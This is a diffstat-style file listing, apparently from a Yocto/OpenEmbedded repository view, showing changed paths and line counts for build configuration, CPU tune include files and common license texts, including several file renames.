-rw-r--r--meta/classes/waf.bbclass65
-rw-r--r--meta/classes/xmlcatalog.bbclass26
-rw-r--r--meta/classes/yocto-check-layer.bbclass22
-rw-r--r--meta/conf/abi_version.conf4
-rw-r--r--meta/conf/bitbake.conf355
-rw-r--r--meta/conf/ccache.conf1
-rw-r--r--meta/conf/cve-check-map.conf28
-rw-r--r--meta/conf/distro/defaultsetup.conf12
-rw-r--r--meta/conf/distro/include/cve-extra-exclusions.inc84
-rw-r--r--meta/conf/distro/include/default-distrovars.inc31
-rw-r--r--meta/conf/distro/include/default-providers.inc3
-rw-r--r--meta/conf/distro/include/default-versions.inc1
-rw-r--r--meta/conf/distro/include/distro_alias.inc769
-rw-r--r--meta/conf/distro/include/init-manager-mdev-busybox.inc2
-rw-r--r--meta/conf/distro/include/init-manager-systemd.inc7
-rw-r--r--meta/conf/distro/include/init-manager-sysvinit.inc4
-rw-r--r--meta/conf/distro/include/lto.inc51
-rw-r--r--meta/conf/distro/include/maintainers.inc1641
-rw-r--r--meta/conf/distro/include/no-gplv3.inc30
-rw-r--r--meta/conf/distro/include/no-static-libs.inc47
-rw-r--r--meta/conf/distro/include/ptest-packagelists.inc220
-rw-r--r--meta/conf/distro/include/rust_security_flags.inc7
-rw-r--r--meta/conf/distro/include/security_flags.inc66
-rw-r--r--meta/conf/distro/include/tclibc-baremetal.inc18
-rw-r--r--meta/conf/distro/include/tclibc-glibc.inc3
-rw-r--r--meta/conf/distro/include/tclibc-musl.inc3
-rw-r--r--meta/conf/distro/include/tclibc-newlib.inc12
-rw-r--r--meta/conf/distro/include/tcmode-default.inc36
-rw-r--r--meta/conf/distro/include/time64.inc49
-rw-r--r--meta/conf/distro/include/uninative-flags.inc2
-rw-r--r--meta/conf/distro/include/yocto-uninative.inc11
-rw-r--r--meta/conf/documentation.conf29
-rw-r--r--meta/conf/image-uefi.conf20
-rw-r--r--meta/conf/layer.conf41
-rw-r--r--meta/conf/licenses.conf104
-rw-r--r--meta/conf/machine-sdk/aarch64.conf4
-rw-r--r--meta/conf/machine-sdk/i586.conf3
-rw-r--r--meta/conf/machine-sdk/i686.conf4
-rw-r--r--meta/conf/machine-sdk/loongarch64.conf4
-rw-r--r--meta/conf/machine-sdk/ppc64.conf4
-rw-r--r--meta/conf/machine-sdk/ppc64le.conf4
-rw-r--r--meta/conf/machine-sdk/riscv64.conf4
-rw-r--r--meta/conf/machine-sdk/x86_64.conf6
-rw-r--r--meta/conf/machine/include/README12
-rw-r--r--meta/conf/machine/include/arm/README2
-rw-r--r--meta/conf/machine/include/arm/arch-arm.inc6
-rw-r--r--meta/conf/machine/include/arm/arch-arm64.inc38
-rw-r--r--meta/conf/machine/include/arm/arch-armv4.inc28
-rw-r--r--meta/conf/machine/include/arm/arch-armv5-dsp.inc73
-rw-r--r--meta/conf/machine/include/arm/arch-armv5.inc76
-rw-r--r--meta/conf/machine/include/arm/arch-armv6.inc76
-rw-r--r--meta/conf/machine/include/arm/arch-armv6m.inc19
-rw-r--r--meta/conf/machine/include/arm/arch-armv7a.inc293
-rw-r--r--meta/conf/machine/include/arm/arch-armv7em.inc17
-rw-r--r--meta/conf/machine/include/arm/arch-armv7m.inc17
-rw-r--r--meta/conf/machine/include/arm/arch-armv7r.inc22
-rw-r--r--meta/conf/machine/include/arm/arch-armv7ve.inc292
-rw-r--r--meta/conf/machine/include/arm/arch-armv8-1a.inc18
-rw-r--r--meta/conf/machine/include/arm/arch-armv8-1m-main.inc18
-rw-r--r--meta/conf/machine/include/arm/arch-armv8-2a.inc23
-rw-r--r--meta/conf/machine/include/arm/arch-armv8-3a.inc22
-rw-r--r--meta/conf/machine/include/arm/arch-armv8-4a.inc24
-rw-r--r--meta/conf/machine/include/arm/arch-armv8-5a.inc24
-rw-r--r--meta/conf/machine/include/arm/arch-armv8-6a.inc22
-rw-r--r--meta/conf/machine/include/arm/arch-armv8a.inc42
-rw-r--r--meta/conf/machine/include/arm/arch-armv8m-base.inc17
-rw-r--r--meta/conf/machine/include/arm/arch-armv8m-main.inc28
-rw-r--r--meta/conf/machine/include/arm/arch-armv8r.inc38
-rw-r--r--meta/conf/machine/include/arm/arch-armv9a.inc19
-rw-r--r--meta/conf/machine/include/arm/armv4/tune-arm920t.inc13
-rw-r--r--meta/conf/machine/include/arm/armv4/tune-arm9tdmi.inc13
-rw-r--r--meta/conf/machine/include/arm/armv4/tune-ep9312.inc12
-rw-r--r--meta/conf/machine/include/arm/armv4/tune-strongarm1100.inc12
-rw-r--r--meta/conf/machine/include/arm/armv5/tune-arm926ejs.inc13
-rw-r--r--meta/conf/machine/include/arm/armv5/tune-iwmmxt.inc15
-rw-r--r--meta/conf/machine/include/arm/armv5/tune-xscale.inc19
-rw-r--r--meta/conf/machine/include/arm/armv6/tune-arm1136jf-s.inc16
-rw-r--r--meta/conf/machine/include/arm/armv6/tune-arm1176jz-s.inc17
-rw-r--r--meta/conf/machine/include/arm/armv6m/tune-cortexm0.inc11
-rw-r--r--meta/conf/machine/include/arm/armv6m/tune-cortexm0plus.inc11
-rw-r--r--meta/conf/machine/include/arm/armv6m/tune-cortexm1.inc14
-rw-r--r--meta/conf/machine/include/arm/armv7a/tune-cortexa15.inc51
-rw-r--r--meta/conf/machine/include/arm/armv7a/tune-cortexa17.inc51
-rw-r--r--meta/conf/machine/include/arm/armv7a/tune-cortexa5.inc51
-rw-r--r--meta/conf/machine/include/arm/armv7a/tune-cortexa7.inc51
-rw-r--r--meta/conf/machine/include/arm/armv7a/tune-cortexa8.inc39
-rw-r--r--meta/conf/machine/include/arm/armv7a/tune-cortexa9.inc55
-rw-r--r--meta/conf/machine/include/arm/armv7m/tune-cortexm3.inc14
-rw-r--r--meta/conf/machine/include/arm/armv7m/tune-cortexm4.inc14
-rw-r--r--meta/conf/machine/include/arm/armv7m/tune-cortexm7.inc14
-rw-r--r--meta/conf/machine/include/arm/armv7r/tune-cortexr4.inc14
-rw-r--r--meta/conf/machine/include/arm/armv7r/tune-cortexr4f.inc14
-rw-r--r--meta/conf/machine/include/arm/armv7r/tune-cortexr5.inc19
-rw-r--r--meta/conf/machine/include/arm/armv7r/tune-cortexr7.inc14
-rw-r--r--meta/conf/machine/include/arm/armv7r/tune-cortexr8.inc14
-rw-r--r--meta/conf/machine/include/arm/armv8-1m/tune-cortexm55.inc15
-rw-r--r--meta/conf/machine/include/arm/armv8-2a/tune-cortexa55.inc14
-rw-r--r--meta/conf/machine/include/arm/armv8-2a/tune-cortexa65.inc17
-rw-r--r--meta/conf/machine/include/arm/armv8-2a/tune-cortexa65ae.inc17
-rw-r--r--meta/conf/machine/include/arm/armv8-2a/tune-cortexa75-cortexa55.inc21
-rw-r--r--meta/conf/machine/include/arm/armv8-2a/tune-cortexa75.inc17
-rw-r--r--meta/conf/machine/include/arm/armv8-2a/tune-cortexa76-cortexa55.inc21
-rw-r--r--meta/conf/machine/include/arm/armv8-2a/tune-cortexa76.inc17
-rw-r--r--meta/conf/machine/include/arm/armv8-2a/tune-cortexa76ae.inc17
-rw-r--r--meta/conf/machine/include/arm/armv8-2a/tune-cortexa77.inc17
-rw-r--r--meta/conf/machine/include/arm/armv8-2a/tune-cortexa78.inc17
-rw-r--r--meta/conf/machine/include/arm/armv8-2a/tune-cortexa78ae.inc15
-rw-r--r--meta/conf/machine/include/arm/armv8-2a/tune-cortexa78c.inc15
-rw-r--r--meta/conf/machine/include/arm/armv8-2a/tune-cortexx1.inc15
-rw-r--r--meta/conf/machine/include/arm/armv8-2a/tune-cortexx1c.inc15
-rw-r--r--meta/conf/machine/include/arm/armv8-2a/tune-neoversee1.inc17
-rw-r--r--meta/conf/machine/include/arm/armv8-2a/tune-neoversen1.inc17
-rw-r--r--meta/conf/machine/include/arm/armv8-2a/tune-octeontx2.inc14
-rw-r--r--meta/conf/machine/include/arm/armv8-4a/tune-neoverse512tvb.inc15
-rw-r--r--meta/conf/machine/include/arm/armv8-4a/tune-neoversev1.inc15
-rw-r--r--meta/conf/machine/include/arm/armv8-m/tune-cortexm23.inc15
-rw-r--r--meta/conf/machine/include/arm/armv8-m/tune-cortexm33.inc18
-rw-r--r--meta/conf/machine/include/arm/armv8-m/tune-cortexm35p.inc18
-rw-r--r--meta/conf/machine/include/arm/armv8a/tune-cortexa32.inc18
-rw-r--r--meta/conf/machine/include/arm/armv8a/tune-cortexa34.inc21
-rw-r--r--meta/conf/machine/include/arm/armv8a/tune-cortexa35.inc18
-rw-r--r--meta/conf/machine/include/arm/armv8a/tune-cortexa53.inc18
-rw-r--r--meta/conf/machine/include/arm/armv8a/tune-cortexa57-cortexa53.inc15
-rw-r--r--meta/conf/machine/include/arm/armv8a/tune-cortexa57.inc18
-rw-r--r--meta/conf/machine/include/arm/armv8a/tune-cortexa72-cortexa53.inc20
-rw-r--r--meta/conf/machine/include/arm/armv8a/tune-cortexa72.inc18
-rw-r--r--meta/conf/machine/include/arm/armv8a/tune-cortexa73-cortexa35.inc22
-rw-r--r--meta/conf/machine/include/arm/armv8a/tune-cortexa73-cortexa53.inc20
-rw-r--r--meta/conf/machine/include/arm/armv8a/tune-cortexa73.inc21
-rw-r--r--meta/conf/machine/include/arm/armv8a/tune-thunderx.inc19
-rw-r--r--meta/conf/machine/include/arm/armv8r/tune-cortexr52.inc20
-rw-r--r--meta/conf/machine/include/arm/armv8r/tune-cortexr82.inc15
-rw-r--r--meta/conf/machine/include/arm/armv9a/tune-cortexa510.inc15
-rw-r--r--meta/conf/machine/include/arm/armv9a/tune-cortexa710.inc15
-rw-r--r--meta/conf/machine/include/arm/armv9a/tune-cortexa715.inc15
-rw-r--r--meta/conf/machine/include/arm/armv9a/tune-cortexx2.inc15
-rw-r--r--meta/conf/machine/include/arm/armv9a/tune-cortexx3.inc15
-rw-r--r--meta/conf/machine/include/arm/armv9a/tune-neoversen2.inc21
-rw-r--r--meta/conf/machine/include/arm/armv9a/tune-neoversev2.inc15
-rw-r--r--meta/conf/machine/include/arm/feature-arm-crc.inc4
-rw-r--r--meta/conf/machine/include/arm/feature-arm-crypto.inc5
-rw-r--r--meta/conf/machine/include/arm/feature-arm-dsp.inc3
-rw-r--r--meta/conf/machine/include/arm/feature-arm-idiv.inc2
-rw-r--r--meta/conf/machine/include/arm/feature-arm-neon.inc5
-rw-r--r--meta/conf/machine/include/arm/feature-arm-simd.inc5
-rw-r--r--meta/conf/machine/include/arm/feature-arm-sve.inc8
-rw-r--r--meta/conf/machine/include/arm/feature-arm-thumb.inc6
-rw-r--r--meta/conf/machine/include/arm/feature-arm-vfp.inc3
-rw-r--r--meta/conf/machine/include/loongarch/arch-loongarch.inc7
-rw-r--r--meta/conf/machine/include/loongarch/qemuloongarch.inc35
-rw-r--r--meta/conf/machine/include/loongarch/tune-loongarch.inc13
-rw-r--r--meta/conf/machine/include/m68k/arch-m68k.inc2
-rw-r--r--meta/conf/machine/include/m68k/tune-mcf5441x.inc13
-rw-r--r--meta/conf/machine/include/microblaze/feature-microblaze-versions.inc2
-rw-r--r--meta/conf/machine/include/microblaze/tune-microblaze.inc8
-rw-r--r--meta/conf/machine/include/mips/README4
-rw-r--r--meta/conf/machine/include/mips/arch-mips.inc172
-rw-r--r--meta/conf/machine/include/mips/feature-mips-mips16e.inc2
-rw-r--r--meta/conf/machine/include/mips/qemuboot-mips.inc8
-rw-r--r--meta/conf/machine/include/mips/tune-mips-24k.inc38
-rw-r--r--meta/conf/machine/include/mips/tune-mips-74k.inc26
-rw-r--r--meta/conf/machine/include/mips/tune-mips32.inc29
-rw-r--r--meta/conf/machine/include/mips/tune-mips32r2.inc29
-rw-r--r--meta/conf/machine/include/mips/tune-mips32r6.inc29
-rw-r--r--meta/conf/machine/include/mips/tune-mips64.inc3
-rw-r--r--meta/conf/machine/include/mips/tune-mips64r2.inc96
-rw-r--r--meta/conf/machine/include/mips/tune-mips64r6.inc58
-rw-r--r--meta/conf/machine/include/mips/tune-octeon.inc32
-rw-r--r--meta/conf/machine/include/powerpc/README4
-rw-r--r--meta/conf/machine/include/powerpc/arch-powerpc.inc40
-rw-r--r--meta/conf/machine/include/powerpc/arch-powerpc64.inc19
-rw-r--r--meta/conf/machine/include/powerpc/tune-power5.inc24
-rw-r--r--meta/conf/machine/include/powerpc/tune-power6.inc24
-rw-r--r--meta/conf/machine/include/powerpc/tune-power7.inc24
-rw-r--r--meta/conf/machine/include/powerpc/tune-power8.inc31
-rw-r--r--meta/conf/machine/include/powerpc/tune-power9.inc31
-rw-r--r--meta/conf/machine/include/powerpc/tune-ppc476.inc14
-rw-r--r--meta/conf/machine/include/powerpc/tune-ppc603e.inc11
-rw-r--r--meta/conf/machine/include/powerpc/tune-ppc7400.inc11
-rw-r--r--meta/conf/machine/include/powerpc/tune-ppce300c2.inc11
-rw-r--r--meta/conf/machine/include/powerpc/tune-ppce300c3.inc20
-rw-r--r--meta/conf/machine/include/powerpc/tune-ppce500.inc (renamed from meta/conf/machine/include/tune-ppce500.inc)6
-rw-r--r--meta/conf/machine/include/powerpc/tune-ppce500mc.inc14
-rw-r--r--meta/conf/machine/include/powerpc/tune-ppce500v2.inc (renamed from meta/conf/machine/include/tune-ppce500v2.inc)6
-rw-r--r--meta/conf/machine/include/powerpc/tune-ppce5500.inc20
-rw-r--r--meta/conf/machine/include/powerpc/tune-ppce6500.inc20
-rw-r--r--meta/conf/machine/include/qemu.inc10
-rw-r--r--meta/conf/machine/include/qemuboot-mips.inc10
-rw-r--r--meta/conf/machine/include/qemuboot-x86.inc15
-rw-r--r--meta/conf/machine/include/riscv/arch-riscv.inc15
-rw-r--r--meta/conf/machine/include/riscv/qemuriscv.inc15
-rw-r--r--meta/conf/machine/include/riscv/tune-riscv.inc44
-rw-r--r--meta/conf/machine/include/sh/README4
-rw-r--r--meta/conf/machine/include/sh/arch-sh.inc4
-rw-r--r--meta/conf/machine/include/sh/tune-sh3.inc17
-rw-r--r--meta/conf/machine/include/sh/tune-sh4.inc34
-rw-r--r--meta/conf/machine/include/tune-arm1136jf-s.inc16
-rw-r--r--meta/conf/machine/include/tune-arm1176jz-s.inc17
-rw-r--r--meta/conf/machine/include/tune-arm920t.inc13
-rw-r--r--meta/conf/machine/include/tune-arm926ejs.inc13
-rw-r--r--meta/conf/machine/include/tune-arm9tdmi.inc13
-rw-r--r--meta/conf/machine/include/tune-atom.inc2
-rw-r--r--meta/conf/machine/include/tune-c3.inc12
-rw-r--r--meta/conf/machine/include/tune-core2.inc38
-rw-r--r--meta/conf/machine/include/tune-corei7.inc38
-rw-r--r--meta/conf/machine/include/tune-cortexa15.inc51
-rw-r--r--meta/conf/machine/include/tune-cortexa17.inc51
-rw-r--r--meta/conf/machine/include/tune-cortexa32.inc18
-rw-r--r--meta/conf/machine/include/tune-cortexa35.inc17
-rw-r--r--meta/conf/machine/include/tune-cortexa5.inc51
-rw-r--r--meta/conf/machine/include/tune-cortexa53.inc18
-rw-r--r--meta/conf/machine/include/tune-cortexa55.inc13
-rw-r--r--meta/conf/machine/include/tune-cortexa57-cortexa53.inc15
-rw-r--r--meta/conf/machine/include/tune-cortexa57.inc17
-rw-r--r--meta/conf/machine/include/tune-cortexa7.inc51
-rw-r--r--meta/conf/machine/include/tune-cortexa72-cortexa53.inc20
-rw-r--r--meta/conf/machine/include/tune-cortexa72.inc13
-rw-r--r--meta/conf/machine/include/tune-cortexa73-cortexa53.inc20
-rw-r--r--meta/conf/machine/include/tune-cortexa8.inc39
-rw-r--r--meta/conf/machine/include/tune-cortexa9.inc55
-rw-r--r--meta/conf/machine/include/tune-ep9312.inc13
-rw-r--r--meta/conf/machine/include/tune-i586-nlp.inc19
-rw-r--r--meta/conf/machine/include/tune-i586.inc14
-rw-r--r--meta/conf/machine/include/tune-i686.inc27
-rw-r--r--meta/conf/machine/include/tune-iwmmxt.inc15
-rw-r--r--meta/conf/machine/include/tune-mcf5441x.inc13
-rw-r--r--meta/conf/machine/include/tune-microblaze.inc8
-rw-r--r--meta/conf/machine/include/tune-mips32.inc29
-rw-r--r--meta/conf/machine/include/tune-mips32r2.inc29
-rw-r--r--meta/conf/machine/include/tune-mips32r6.inc29
-rw-r--r--meta/conf/machine/include/tune-mips64.inc3
-rw-r--r--meta/conf/machine/include/tune-mips64r2.inc84
-rw-r--r--meta/conf/machine/include/tune-mips64r6.inc58
-rw-r--r--meta/conf/machine/include/tune-octeon.inc32
-rw-r--r--meta/conf/machine/include/tune-power5.inc24
-rw-r--r--meta/conf/machine/include/tune-power6.inc24
-rw-r--r--meta/conf/machine/include/tune-power7.inc24
-rw-r--r--meta/conf/machine/include/tune-power9.inc35
-rw-r--r--meta/conf/machine/include/tune-ppc476.inc14
-rw-r--r--meta/conf/machine/include/tune-ppc603e.inc14
-rw-r--r--meta/conf/machine/include/tune-ppc7400.inc14
-rw-r--r--meta/conf/machine/include/tune-ppce300c2.inc11
-rw-r--r--meta/conf/machine/include/tune-ppce300c3.inc23
-rw-r--r--meta/conf/machine/include/tune-ppce500mc.inc17
-rw-r--r--meta/conf/machine/include/tune-ppce5500.inc23
-rw-r--r--meta/conf/machine/include/tune-ppce6500.inc24
-rw-r--r--meta/conf/machine/include/tune-sh3.inc17
-rw-r--r--meta/conf/machine/include/tune-sh4.inc34
-rw-r--r--meta/conf/machine/include/tune-strongarm1100.inc12
-rw-r--r--meta/conf/machine/include/tune-supersparc.inc4
-rw-r--r--meta/conf/machine/include/tune-thunderx.inc19
-rw-r--r--meta/conf/machine/include/tune-xscale.inc19
-rw-r--r--meta/conf/machine/include/x86/README2
-rw-r--r--meta/conf/machine/include/x86/arch-x86.inc40
-rw-r--r--meta/conf/machine/include/x86/qemuboot-x86.inc13
-rw-r--r--meta/conf/machine/include/x86/tune-atom.inc2
-rw-r--r--meta/conf/machine/include/x86/tune-c3.inc12
-rw-r--r--meta/conf/machine/include/x86/tune-core2.inc38
-rw-r--r--meta/conf/machine/include/x86/tune-corei7.inc38
-rw-r--r--meta/conf/machine/include/x86/tune-i586-nlp.inc19
-rw-r--r--meta/conf/machine/include/x86/tune-i586.inc14
-rw-r--r--meta/conf/machine/include/x86/tune-i686.inc27
-rw-r--r--meta/conf/machine/include/x86/tune-x86-64-v3.inc31
-rw-r--r--meta/conf/machine/include/x86/x86-base.inc (renamed from meta/conf/machine/include/x86-base.inc)3
-rw-r--r--meta/conf/machine/qemuarm.conf16
-rw-r--r--meta/conf/machine/qemuarm64.conf20
-rw-r--r--meta/conf/machine/qemuarmv5.conf13
-rw-r--r--meta/conf/machine/qemuloongarch64.conf11
-rw-r--r--meta/conf/machine/qemumips.conf6
-rw-r--r--meta/conf/machine/qemumips64.conf6
-rw-r--r--meta/conf/machine/qemuppc.conf4
-rw-r--r--meta/conf/machine/qemuppc64.conf23
-rw-r--r--meta/conf/machine/qemuriscv32.conf16
-rw-r--r--meta/conf/machine/qemux86-64.conf5
-rw-r--r--meta/conf/machine/qemux86.conf5
-rw-r--r--meta/conf/multilib.conf13
-rw-r--r--meta/conf/sanity.conf4
-rw-r--r--meta/conf/templates/default/bblayers.conf.sample (renamed from meta/conf/bblayers.conf.sample)0
-rw-r--r--meta/conf/templates/default/conf-notes.txt (renamed from meta/conf/conf-notes.txt)4
-rw-r--r--meta/conf/templates/default/conf-summary.txt1
-rw-r--r--meta/conf/templates/default/local.conf.sample (renamed from meta/conf/local.conf.sample)72
-rw-r--r--meta/conf/templates/default/local.conf.sample.extended (renamed from meta/conf/local.conf.sample.extended)72
-rw-r--r--meta/conf/templates/default/site.conf.sample (renamed from meta/conf/site.conf.sample)0
-rw-r--r--meta/conf/testexport.conf3
-rw-r--r--meta/files/common-licenses/0BSD5
-rw-r--r--meta/files/common-licenses/ADSL1
-rw-r--r--meta/files/common-licenses/AFL-1.127
-rw-r--r--meta/files/common-licenses/AGPL-1.0-only86
-rw-r--r--meta/files/common-licenses/AGPL-1.0-or-later86
-rw-r--r--meta/files/common-licenses/AGPL-3.0-only (renamed from meta/files/common-licenses/AGPL-3.0)0
-rw-r--r--meta/files/common-licenses/AGPL-3.0-or-later613
-rw-r--r--meta/files/common-licenses/AMDPLPA20
-rw-r--r--meta/files/common-licenses/AML9
-rw-r--r--meta/files/common-licenses/AMPAS13
-rw-r--r--meta/files/common-licenses/ANTLR-PD-fallback7
-rw-r--r--meta/files/common-licenses/APAFML3
-rw-r--r--meta/files/common-licenses/Abstyles11
-rw-r--r--meta/files/common-licenses/Adobe-200612
-rw-r--r--meta/files/common-licenses/Adobe-Glyph10
-rw-r--r--meta/files/common-licenses/Afmparse10
-rw-r--r--meta/files/common-licenses/Aladdin62
-rw-r--r--meta/files/common-licenses/Artistic-1.0-Perl51
-rw-r--r--meta/files/common-licenses/Artistic-1.0-cl851
-rw-r--r--meta/files/common-licenses/BSD26
-rw-r--r--meta/files/common-licenses/BSD-0-Clause12
-rw-r--r--meta/files/common-licenses/BSD-2-Clause-Views11
-rw-r--r--meta/files/common-licenses/BSD-3-Clause-Attribution11
-rw-r--r--meta/files/common-licenses/BSD-3-Clause-Clear32
-rw-r--r--meta/files/common-licenses/BSD-3-Clause-LBNL12
-rw-r--r--meta/files/common-licenses/BSD-3-Clause-Modification35
-rw-r--r--meta/files/common-licenses/BSD-3-Clause-No-Military-License16
-rw-r--r--meta/files/common-licenses/BSD-3-Clause-No-Nuclear-License14
-rw-r--r--meta/files/common-licenses/BSD-3-Clause-No-Nuclear-License-201416
-rw-r--r--meta/files/common-licenses/BSD-3-Clause-No-Nuclear-Warranty14
-rw-r--r--meta/files/common-licenses/BSD-3-Clause-Open-MPI34
-rw-r--r--meta/files/common-licenses/BSD-4-Clause-Shortened13
-rw-r--r--meta/files/common-licenses/BSD-4-Clause-UC15
-rw-r--r--meta/files/common-licenses/BSD-Protection53
-rw-r--r--meta/files/common-licenses/BSD-Source-Code10
-rw-r--r--meta/files/common-licenses/BUSL-1.172
-rw-r--r--meta/files/common-licenses/Bahyph11
-rw-r--r--meta/files/common-licenses/Barr1
-rw-r--r--meta/files/common-licenses/Beerware1
-rw-r--r--meta/files/common-licenses/BitTorrent-1.0330
-rw-r--r--meta/files/common-licenses/BitTorrent-1.1137
-rw-r--r--meta/files/common-licenses/BlueOak-1.0.055
-rw-r--r--meta/files/common-licenses/Borceux19
-rw-r--r--meta/files/common-licenses/C-UDA-1.047
-rw-r--r--meta/files/common-licenses/CAL-1.0354
-rw-r--r--meta/files/common-licenses/CAL-1.0-Combined-Work-Exception354
-rw-r--r--meta/files/common-licenses/CC-BY-2.5-AU112
-rw-r--r--meta/files/common-licenses/CC-BY-3.0-AT111
-rw-r--r--meta/files/common-licenses/CC-BY-3.0-DE109
-rw-r--r--meta/files/common-licenses/CC-BY-3.0-NL97
-rw-r--r--meta/files/common-licenses/CC-BY-3.0-US83
-rw-r--r--meta/files/common-licenses/CC-BY-4.0156
-rw-r--r--meta/files/common-licenses/CC-BY-NC-3.0-DE110
-rw-r--r--meta/files/common-licenses/CC-BY-NC-4.0158
-rw-r--r--meta/files/common-licenses/CC-BY-NC-ND-3.0-DE101
-rw-r--r--meta/files/common-licenses/CC-BY-NC-ND-3.0-IGO99
-rw-r--r--meta/files/common-licenses/CC-BY-NC-ND-4.0155
-rw-r--r--meta/files/common-licenses/CC-BY-NC-SA-2.0-FR93
-rw-r--r--meta/files/common-licenses/CC-BY-NC-SA-2.0-UK149
-rw-r--r--meta/files/common-licenses/CC-BY-NC-SA-3.0-DE126
-rw-r--r--meta/files/common-licenses/CC-BY-NC-SA-3.0-IGO105
-rw-r--r--meta/files/common-licenses/CC-BY-NC-SA-4.0170
-rw-r--r--meta/files/common-licenses/CC-BY-ND-3.0-DE101
-rw-r--r--meta/files/common-licenses/CC-BY-ND-4.0154
-rw-r--r--meta/files/common-licenses/CC-BY-SA-2.0-UK147
-rw-r--r--meta/files/common-licenses/CC-BY-SA-2.1-JP83
-rw-r--r--meta/files/common-licenses/CC-BY-SA-3.0-AT139
-rw-r--r--meta/files/common-licenses/CC-BY-SA-3.0-DE136
-rw-r--r--meta/files/common-licenses/CC-PDDC8
-rw-r--r--meta/files/common-licenses/CDDL-1.1123
-rw-r--r--meta/files/common-licenses/CDL-1.053
-rw-r--r--meta/files/common-licenses/CDLA-Permissive-1.085
-rw-r--r--meta/files/common-licenses/CDLA-Permissive-2.035
-rw-r--r--meta/files/common-licenses/CDLA-Sharing-1.089
-rw-r--r--meta/files/common-licenses/CECILL-1.1229
-rw-r--r--meta/files/common-licenses/CECILL-2.1518
-rw-r--r--meta/files/common-licenses/CERN-OHL-1.147
-rw-r--r--meta/files/common-licenses/CERN-OHL-1.249
-rw-r--r--meta/files/common-licenses/CERN-OHL-P-2.0199
-rw-r--r--meta/files/common-licenses/CERN-OHL-S-2.0289
-rw-r--r--meta/files/common-licenses/CERN-OHL-W-2.0310
-rw-r--r--meta/files/common-licenses/CNRI-Jython12
-rw-r--r--meta/files/common-licenses/CNRI-Python25
-rw-r--r--meta/files/common-licenses/CNRI-Python-GPL-Compatible23
-rw-r--r--meta/files/common-licenses/CPOL-1.0298
-rw-r--r--meta/files/common-licenses/Caldera25
-rw-r--r--meta/files/common-licenses/Condor-1.140
-rw-r--r--meta/files/common-licenses/Crossword5
-rw-r--r--meta/files/common-licenses/CrystalStacker7
-rw-r--r--meta/files/common-licenses/Cube17
-rw-r--r--meta/files/common-licenses/D-FSL-1.0147
-rw-r--r--meta/files/common-licenses/DOC15
-rw-r--r--meta/files/common-licenses/DRL-1.012
-rw-r--r--meta/files/common-licenses/DSDP18
-rw-r--r--meta/files/common-licenses/Dotseqn5
-rw-r--r--meta/files/common-licenses/EPICS32
-rw-r--r--meta/files/common-licenses/EUPL-1.2190
-rw-r--r--meta/files/common-licenses/Eurosym18
-rw-r--r--meta/files/common-licenses/FSFAP1
-rw-r--r--meta/files/common-licenses/FSFUL3
-rw-r--r--meta/files/common-licenses/FSFULLR3
-rw-r--r--meta/files/common-licenses/FTL79
-rw-r--r--meta/files/common-licenses/FreeBSD-DOC23
-rw-r--r--meta/files/common-licenses/FreeImage117
-rw-r--r--meta/files/common-licenses/FreeType170
-rw-r--r--meta/files/common-licenses/GD24
-rw-r--r--meta/files/common-licenses/GFDL-1.1-invariants-only119
-rw-r--r--meta/files/common-licenses/GFDL-1.1-invariants-or-later119
-rw-r--r--meta/files/common-licenses/GFDL-1.1-no-invariants-only119
-rw-r--r--meta/files/common-licenses/GFDL-1.1-no-invariants-or-later119
-rw-r--r--meta/files/common-licenses/GFDL-1.1-only119
-rw-r--r--meta/files/common-licenses/GFDL-1.1-or-later119
-rw-r--r--meta/files/common-licenses/GFDL-1.2-invariants-only130
-rw-r--r--meta/files/common-licenses/GFDL-1.2-invariants-or-later130
-rw-r--r--meta/files/common-licenses/GFDL-1.2-no-invariants-only130
-rw-r--r--meta/files/common-licenses/GFDL-1.2-no-invariants-or-later130
-rw-r--r--meta/files/common-licenses/GFDL-1.2-only130
-rw-r--r--meta/files/common-licenses/GFDL-1.2-or-later130
-rw-r--r--meta/files/common-licenses/GFDL-1.3-invariants-only149
-rw-r--r--meta/files/common-licenses/GFDL-1.3-invariants-or-later149
-rw-r--r--meta/files/common-licenses/GFDL-1.3-no-invariants-only149
-rw-r--r--meta/files/common-licenses/GFDL-1.3-no-invariants-or-later149
-rw-r--r--meta/files/common-licenses/GFDL-1.3-only149
-rw-r--r--meta/files/common-licenses/GFDL-1.3-or-later149
-rw-r--r--meta/files/common-licenses/GL2PS13
-rw-r--r--meta/files/common-licenses/GLWTPL25
-rw-r--r--meta/files/common-licenses/GPL-1.0-only (renamed from meta/files/common-licenses/GPL-1.0)0
-rw-r--r--meta/files/common-licenses/GPL-1.0-or-later232
-rw-r--r--meta/files/common-licenses/GPL-2.0-only (renamed from meta/files/common-licenses/GPL-2.0)0
-rw-r--r--meta/files/common-licenses/GPL-2.0-or-later319
-rw-r--r--meta/files/common-licenses/GPL-3-with-bison-exception7
-rw-r--r--meta/files/common-licenses/GPL-3.0-only (renamed from meta/files/common-licenses/GPL-3.0)0
-rw-r--r--meta/files/common-licenses/GPL-3.0-or-later625
-rw-r--r--meta/files/common-licenses/Giftware9
-rw-r--r--meta/files/common-licenses/Glide95
-rw-r--r--meta/files/common-licenses/Glulxe3
-rw-r--r--meta/files/common-licenses/HPND-sell-variant19
-rw-r--r--meta/files/common-licenses/HTMLTIDY13
-rw-r--r--meta/files/common-licenses/HaskellReport6
-rw-r--r--meta/files/common-licenses/Hippocratic-2.133
-rw-r--r--meta/files/common-licenses/IBM-pibs8
-rw-r--r--meta/files/common-licenses/IJG38
-rw-r--r--meta/files/common-licenses/ImageMagick98
-rw-r--r--meta/files/common-licenses/Imlib29
-rw-r--r--meta/files/common-licenses/Info-ZIP16
-rw-r--r--meta/files/common-licenses/Intel-ACPI34
-rw-r--r--meta/files/common-licenses/Interbase-1.0199
-rw-r--r--meta/files/common-licenses/JPNIC40
-rw-r--r--meta/files/common-licenses/JSON11
-rw-r--r--meta/files/common-licenses/JasPer-2.017
-rw-r--r--meta/files/common-licenses/LAL-1.267
-rw-r--r--meta/files/common-licenses/LAL-1.388
-rw-r--r--meta/files/common-licenses/LGPL-2.0-only (renamed from meta/files/common-licenses/LGPL-2.0)0
-rw-r--r--meta/files/common-licenses/LGPL-2.0-or-later446
-rw-r--r--meta/files/common-licenses/LGPL-2.1-only (renamed from meta/files/common-licenses/LGPL-2.1)0
-rw-r--r--meta/files/common-licenses/LGPL-2.1-or-later468
-rw-r--r--meta/files/common-licenses/LGPL-3.0-only (renamed from meta/files/common-licenses/LGPL-3.0)0
-rw-r--r--meta/files/common-licenses/LGPL-3.0-or-later163
-rw-r--r--meta/files/common-licenses/LGPL-3.0-with-zeromq-exception181
-rw-r--r--meta/files/common-licenses/LGPLLR89
